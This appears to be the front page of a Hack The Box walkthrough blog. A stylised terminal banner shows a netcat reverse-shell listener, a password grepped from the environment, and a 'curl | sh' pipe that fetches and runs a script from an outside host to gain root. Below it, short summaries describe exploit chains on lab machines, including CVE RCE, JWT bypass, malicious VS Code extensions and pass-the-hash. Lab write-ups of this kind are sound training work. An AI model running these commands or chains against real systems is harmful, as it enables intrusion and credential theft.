Offensive cybersecurity walkthroughs for Hack The Box and cheatsheets, from enumeration to root & beyond.
root@shadowcat
shadow@cat:~$rlwrap -cAr nc -nlvp 443listening on [any] 443 ...connect to [10.10.4.4] from (UNKNOWN) [10.129.1.1] 48446bash: cannot set terminal process group (1337): Inappropriate ioctl for devicebash: no job control in this shellwww-data@shadowcat:~$iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@shadowcat:~$env | grep passwordUSER_PASSWORD=sh4dowc4twww-data@shadowcat:~$su - userPassword:user@shadowcat:~$iduid=1000(user) gid=1000(user) groups=1000(user)user@shadowcat:~$curl -sL http://10.10.4.4/shadowcat.sh | sh /\_/\( o.o ) shadowcat > ^ < [!] ROOTEDroot@shadowcat:~#iduid=0(root) gid=0(root) groups=0(root)
Fireflow is a medium Linux machine featuring a Langflow AI agent platform vulnerable to CVE-2026-33017, unauthenticated RCE via exec() injection to gain a foothold, Langflow superuser credentials leaked from the process environment for lateral movement, a JWT alg:none bypass against an MCP Tool Registry for code execution inside a Kubernetes pod, and kubelet WebSocket exec via nodes/proxy RBAC against a privileged node-exporter pod with the host filesystem mounted for root.
Nexus is an easy Linux machine featuring a Gitea instance that leaks a legacy password in its commit history, a Krayin CRM login vulnerable to authenticated RCE via TinyMCE uploads (CVE-2026-38526) for a foothold as www-data, reused .env credentials to pivot to jones, and a root-run Gitea template-sync script whose unsanitized os.path.join enables a Git path-traversal write to root's authorized_keys.
Checkpoint is a medium Windows machine starting with assumed-breach credentials which carry write access over the AD Recycle Bin, letting me restore a deleted user which can write to the DevDrop SMB share. A malicious .VSIX extension (CVE-2025-55319) file executes when the developer opens VS Code, granting the user shell. From there I abuse BetterSuccessor (CVE-2025-53779), creating a delegated Managed Service Account that supersedes svc_deploy and inherits BackupAccess rights. That unlocks the VMBackups share, where a VMware memory snapshot gives up the Administrator hash through VMkatz, leading to full domain compromise via Pass-the-Hash.
The first three questions on every shell, who am I, what can I run as root, what is SUID, then the automated sweeps for everything I would miss by hand.
